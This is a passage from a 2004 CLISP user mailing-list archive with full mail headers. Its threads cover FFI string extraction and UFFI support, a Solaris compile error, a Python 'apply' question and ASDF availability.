08:20:51 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AwNsP-0004J0-Bf for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 07:56:41 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1QGAkTI006062; Thu, 26 Feb 2004 11:10:47 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE09F0BC2D@G8PQD.blf01.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 26 Feb 2004 15:25:22 +0100") References: <9F8582E37B2EE5498E76392AEDDCD3FE09F0BC2D@G8PQD.blf01.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: array of strings? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 26 08:21:21 2004 X-Original-Date: Thu, 26 Feb 2004 11:10:46 -0500 > * Hoehle, Joerg-Cyril [2004-02-26 15:25:22 +0100]: > >>(setq z (allocate-shallow '(c-array char 1000))) > ok this is printed as # how do I extract the string? >>(engOutputBuffer ep NIL 0) > I cannot remember whether NIL argument is accepted with the c-pointer > type. I believe it's not. 2003-08-05 Sam Steingold * foreign.d (convert_from_foreign): treat NULL as NIL (convert_to_foreign): treat NIL as NULL nevertheless, (engOutputBuffer ep NIL 0) returns 1 (error code!) > If not, you'll need two function declarations, or > e.g. (unsigned-foreign-address 0) (iirk). (engOutputBuffer ep (unsigned-foreign-address 0) 0) also returns 1, so, I guess, that's OK. -- Sam Steingold (http://www.podval.org/~sds) running w2k If you're constantly being mistreated, you're cooperating with the treatment. From sds@gnu.org Thu Feb 26 08:46:48 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwOet-00050E-Vd for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 08:46:47 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AwOVQ-0006Qf-En for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 08:37:00 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1QGabTI014850; Thu, 26 Feb 2004 11:36:37 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE09F0BC21@G8PQD.blf01.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 26 Feb 2004 15:13:49 +0100") References: <9F8582E37B2EE5498E76392AEDDCD3FE09F0BC21@G8PQD.blf01.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: array of strings? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 26 08:47:11 2004 X-Original-Date: Thu, 26 Feb 2004 11:36:37 -0500 > * Hoehle, Joerg-Cyril [2004-02-26 15:13:49 +0100]: > > This function is a typical candidate where I believe a higher-level > Lisp look&feel API would be valuable (aka "thick" interface in Ada), > instead of C interface weirdness brought to Lisp. The nice > Lisp-visible function internally needs several calls to low-level code > to accomplish desired functionality (e.g. get-dir + mxFree). yes, but they do not provide that. we need to write a C (not FFI) module to accomplish this. > CLISP's FFI allows relatively complex protocols to be covered >(e.g. :malloc-free convention), but it cannot yet declare everything in >one swoop. Existing libraries are too diverse for that. indeed. this makes it an imperative to offer a very low-level FFI layer which would be suitable to port UFFI to CLISP. More and more software relies on UFFI. We must support it. > I once thought about declarable resources. This get-dir API function > would fall into that schema: one could declare the finalizing > function, mxFree() in the present case, or e.g. CloseSocket/Window > etc. Very handy for the Amiga. Even more when GC-collectable. yes, a def-c-type should take a :FINALIZER option. > Here's my guess at what the documentation may mean: indeed, this works. thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k MS: Brain off-line, please wait. From russell_mcmanus@yahoo.com Thu Feb 26 09:04:11 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwOvi-0000d9-PY for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 09:04:10 -0800 Received: from dsl081-203-031.nyc2.dsl.speakeasy.net ([64.81.203.31] helo=thelonious.dyndns.org) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AwOmE-0000Ln-N8 for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 08:54:22 -0800 Received: by thelonious.dyndns.org (Postfix, from userid 1000) id D732BBF; Thu, 26 Feb 2004 11:54:01 -0500 (EST) To: clisp-list@lists.sourceforge.net From: Russell McManus Message-ID: <87ishtu6hi.fsf@thelonious.dyndns.org> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Portable Code, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] 2.32 compile problem on solaris Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 26 09:05:00 2004 X-Original-Date: Thu, 26 Feb 2004 11:54:01 -0500 I wonder whether some header file is #define'ing open. Any ideas on how to hack around this one? I tried putting #undef open #undef truncate #undef ftruncate in spvwtabs.d, which seemed to get the file to compile, but then I got a link error. uname -a returns: SunOS hqsas246 5.8 Generic_108528-19 sun4u sparc SUNW,Ultra-80 -russ hqsas246 /u/russe/compile/clisp-2.32/with-gcc-solaris 11$ gmake test -d bindings || mkdir -p bindings gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fno-schedule-insns -fno-gcse -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvwtabs.c In file included from spvwtabs.d:7: lispbibl.d:790: warning: call-clobbered register used for global register variable In file included from spvwtabs.d:7: lispbibl.d:7384: warning: volatile register variables don't work as you might wish lispbibl.d:7506: warning: register used for two global register variables In file included from spvwtabs.d:7: lispbibl.d:9588: warning: register used for two global register variables lispbibl.d:9606: warning: register used for two global register variables lispbibl.d:9772: warning: register used for two global register variables In file included from spvwtabs.d:25: constsym.d:623: structure has no member named `S_open64' constsym.d:623: initializer element is not constant constsym.d:623: (near initialization for `symbol_tab_data.S_open.GCself') constsym.d:1011: structure has no member named `S_truncate64' constsym.d:1011: initializer element is not constant constsym.d:1011: (near initialization for `symbol_tab_data.S_truncate.GCself') constsym.d:1017: structure has no member named `S_ftruncate64' constsym.d:1017: initializer element is not constant constsym.d:1017: (near initialization for `symbol_tab_data.S_ftruncate.GCself') gmake: *** [spvwtabs.o] Error 1 From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 26 09:52:05 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwPg5-0003gw-D9 for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 09:52:05 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AwPWa-0007I6-36 for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 09:42:16 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 18:42:10 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 26 Feb 2004 18:42:09 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE09F0BCB2@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: array of strings? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 26 09:53:01 2004 X-Original-Date: Thu, 26 Feb 2004 18:42:08 +0100 Hi, Sam wondered: >>>(setq z (allocate-shallow '(c-array char 1000))) >> ok > >this is printed as # >how do I extract the string? Using FFI:foreign-value If it's really a string, you probably want to use (c-array-max char 1000), or you'll get 1000 characters. >nevertheless, (engOutputBuffer ep NIL 0) returns 1 (error code!) No idea why. >we need to write a C (not FFI) module to accomplish this. I don't understand why. No user of the other Lisps would write C code. Instead, they use thin or thick wrappers, dealing with foreign pointers and all in Lisp. >indeed. this makes it an imperative to offer a very low-level FFI layer >which would be suitable to port UFFI to CLISP. I already said that I believe that most of this is already available in CLISP. One can use c-pointer and ignore :out etc. Yet I don't know how CLISP goes along the UFFI design goal which says that performance of code using UFFI should be equivalent to the native stuff (ideally, all of UFFI is macro wrappers and goes away). This is not the case with CLISP, where a complex DEF-CALL-OUT, where applicable, is more efficient than a series of WITH-FOREIGN-OBJECT etc. and C-POINTER manipulations that UFFI would translate to. CAST (run-time) is especially expensive. It would be much better if UFFI would adopt high-level declarations like CLISP does. Kevin Rosenberg said "UFFI Version 2" when I mentioned this in the uffi-users list. >indeed, this works. Great! Regards, Jorg Hohle. From sds@gnu.org Thu Feb 26 10:58:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwQik-0002ax-Gt for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 10:58:54 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AwQLE-0000y1-6c for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 10:34:36 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1QImoTI027335; Thu, 26 Feb 2004 13:48:51 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE09F0BCB2@G8PQD.blf01.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 26 Feb 2004 18:42:08 +0100") References: <9F8582E37B2EE5498E76392AEDDCD3FE09F0BCB2@G8PQD.blf01.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: array of strings? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 26 10:59:10 2004 X-Original-Date: Thu, 26 Feb 2004 13:48:50 -0500 > * Hoehle, Joerg-Cyril [2004-02-26 18:42:08 +0100]: > > Sam wondered: >>>>(setq z (allocate-shallow '(c-array char 1000))) >>> ok >> >>this is printed as # >>how do I extract the string? > Using FFI:foreign-value I get #(97 110 115 32 61 10 32 32 49 46 50 50 52 54 101 45 48 49 54 10) convert-string-from-bytes gets me the string. yuk. > If it's really a string, you probably want to use (c-array-max char > 1000), or you'll get 1000 characters. thanks. >>we need to write a C (not FFI) module to accomplish this. > I don't understand why. No user of the other Lisps would write C > code. Instead, they use thin or thick wrappers, dealing with foreign > pointers and all in Lisp. to avoid FFI overhead you mention below. >>indeed. this makes it an imperative to offer a very low-level FFI layer >>which would be suitable to port UFFI to CLISP. > I already said that I believe that most of this is already available > in CLISP. One can use c-pointer and ignore :out etc. > > Yet I don't know how CLISP goes along the UFFI design goal which says > that performance of code using UFFI should be equivalent to the native > stuff (ideally, all of UFFI is macro wrappers and goes away). Do you think AFFI is more appropriate as the UFFI substrate? > This is not the case with CLISP, where a complex DEF-CALL-OUT, where > applicable, is more efficient than a series of WITH-FOREIGN-OBJECT > etc. and C-POINTER manipulations that UFFI would translate to. CAST > (run-time) is especially expensive. This whole issue is actually very similar to the raw sockets, as being discussed now on clisp-devel: high-level convenience vs. low-level flexibility. Some APIs, e.g., that of Netica, are very well thought through, and easy to interface to using CLISP high-level macros. Just like with TCP sockets, the high-level CLISP interface is perfect. Some APIs, e.g., Matlab's, require low-level tweaking. The fact of life is: some things are easier to express in assembly than in C, some things are easier in C than in Lisp, some things are easier with UFFI low-level macros than with CLISP FFI high-level declarations. However few such things are, they do exist. CLISP should offer low-level UFFI-style functionality. > It would be much better if UFFI would adopt high-level declarations > like CLISP does. Kevin Rosenberg said "UFFI Version 2" when I > mentioned this in the uffi-users list. does this mean that CLISP will support UFFI-2 automatically? -- Sam Steingold (http://www.podval.org/~sds) running w2k There is Truth, and its value is T. Or just non-NIL. So 0 is True! From jimka@rdrop.com Thu Feb 26 12:12:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwRsI-0002sl-MI for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 12:12:50 -0800 Received: from mx02.qsc.de ([213.148.130.14]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AwRig-0002H8-Uf for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 12:02:55 -0800 Received: from port-212-202-78-89.reverse.qsc.de ([212.202.78.89] helo=rdrop.com) by mx02.qsc.de with esmtp (Exim 3.35 #1) id 1AwRiZ-00075z-00; Thu, 26 Feb 2004 21:02:47 +0100 Message-ID: <403E44DD.6090709@rdrop.com> From: Jim Newton User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030827 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <403D2026.9040601@rdrop.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: ISO something like apply in python Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 26 12:13:07 2004 X-Original-Date: Thu, 26 Feb 2004 20:11:25 +0100 yes thanks for the reply. i am a lisp programmer and trying to learn python. i know about the apply funciton in lisp, but i am looking for something similar in python. -jim Sam Steingold wrote: >>* Jim Newton [2004-02-25 23:22:30 +0100]: >> >>hi, does anyone know how to do the equivalent of apply in python? >>i.e., (apply my_fun some_list) > > > > From pascal@informatimago.com Thu Feb 26 12:36:47 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwSFT-0008Nb-6H for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 12:36:47 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AwRrq-0005zG-PL for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 12:12:23 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id EC739586E2; Thu, 26 Feb 2004 21:26:42 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 82AEC4C4C1; Thu, 26 Feb 2004 21:26:29 +0100 (CET) Message-ID: <16446.22133.446528.471478@thalassa.informatimago.com> To: Jim Newton Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: ISO something like apply in python In-Reply-To: <403E44DD.6090709@rdrop.com> References: <403D2026.9040601@rdrop.com> <403E44DD.6090709@rdrop.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 26 12:37:04 2004 X-Original-Date: Thu, 26 Feb 2004 21:26:29 +0100 Jim Newton writes: > yes thanks for the reply. i am a lisp programmer and trying to > learn python. i know about the apply funciton in lisp, but > i am looking for something similar in python. Perhaps asking on a python related newgroup or mail-list would be more pertinent. Here we (only) know about common-lisp and clisp... Try a python reference manual or news:comp.lang.python -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From hin@van-halen.alma.com Thu Feb 26 13:29:11 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwT48-0003aU-NT for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 13:29:08 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AwSuY-0004Js-4w for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 13:19:14 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 022ED10DF8B; Thu, 26 Feb 2004 16:19:12 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i1QLJBnD002088; Thu, 26 Feb 2004 16:19:11 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i1QLJBei002085; Thu, 26 Feb 2004 16:19:11 -0500 Message-Id: <200402262119.i1QLJBei002085@van-halen.alma.com> From: "John K. Hinsdale" To: jimka@rdrop.com Cc: clisp-list@lists.sourceforge.net In-reply-to: <403D2026.9040601@rdrop.com> (message from Jim Newton on Wed, 25 Feb 2004 23:22:30 +0100) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: ISO something like apply in python Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 26 13:30:01 2004 X-Original-Date: Thu, 26 Feb 2004 16:19:11 -0500 > hi, does anyone know how to do the equivalent of apply in python? > i.e., (apply my_fun some_list) I'm not much of a Python programmer, but a quick Google search on the three terms "apply python lisp" brings up as its first hit Peter Norvig's "Python for Lisp Programmers" http://www.norvig.com/python-lisp.html I found it interesting reading. It's probably good for Lisp programmers to know what's out there. Also check out: http://www.prescod.net/python/IsPythonLisp.html And a quote from Paul Graham's Lisp FAQ: Q: "I like Lisp but my company won't let me use it. What should I do?" A: "Try to get them to let you use Python. Often when your employer won't let you use Lisp it's because (whatever the official reason) the guy in charge of your department is afraid of the way Lisp source code looks. Python looks like an ordinary dumb language, but semantically it has a lot in common with Lisp, and has been getting closer to Lisp over time." I realize that Python questions are, per se, off-topic, but I don't think the relationship of a language (like Python) to Lisp is. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From hin@van-halen.alma.com Thu Feb 26 13:32:31 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwT7M-0004Li-MA for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 13:32:28 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AwSjh-0004PE-3c for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 13:08:01 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 4A2D510DF66; Thu, 26 Feb 2004 16:22:32 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i1QLMWnD002117; Thu, 26 Feb 2004 16:22:32 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i1QLMWx2002114; Thu, 26 Feb 2004 16:22:32 -0500 Message-Id: <200402262122.i1QLMWx2002114@van-halen.alma.com> From: "John K. Hinsdale" To: jimka@rdrop.com Cc: clisp-list@lists.sourceforge.net In-reply-to: <403D2026.9040601@rdrop.com> (message from Jim Newton on Wed, 25 Feb 2004 23:22:30 +0100) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: ISO something like apply in python Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 26 13:33:02 2004 X-Original-Date: Thu, 26 Feb 2004 16:22:32 -0500 >> [jimka@rdrop.com] >> hi, does anyone know how to do the equivalent of apply in python? >> i.e., (apply my_fun some_list) > [John Hinsdale] > I'm not much of a Python programmer, but a quick Google search on the > three terms "apply python lisp" brings up as its first hit Peter > Norvig's "Python for Lisp Programmers" Oops, I realize I never answered your question: it appears from the above that Python has an "apply" that is exactly analogous to Lisp's. Suggest trying Google a bit more; a search "apply python lisp" answered the questions in about 20 seconds, so quick I got sidetracked. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From jcorneli@math.utexas.edu Thu Feb 26 16:23:25 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwVmm-0000xz-Or for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 16:23:24 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AwVOw-0001qe-Ml for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 15:58:46 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i1R0DO129445; Thu, 26 Feb 2004 18:13:24 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1AwVd6-0004tZ-00; Thu, 26 Feb 2004 18:13:24 -0600 To: clisp-list@lists.sourceforge.net X-all-your-base-are-belong-to-us: You are on the way to destruction. Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] asdf package? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 26 16:24:02 2004 X-Original-Date: Thu, 26 Feb 2004 18:13:24 -0600 Does CLISP have an ASDF package? More generally, how to know which packages CLISP has? How to load them? I'm trying to run the stump window manager under CLISP. (defpackage :stumpwm-system (:use :cl :asdf)) From pascal@informatimago.com Thu Feb 26 18:37:18 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwXsM-0003QN-Ps for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 18:37:18 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AwXUN-0002j4-Pf for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 18:12:32 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com 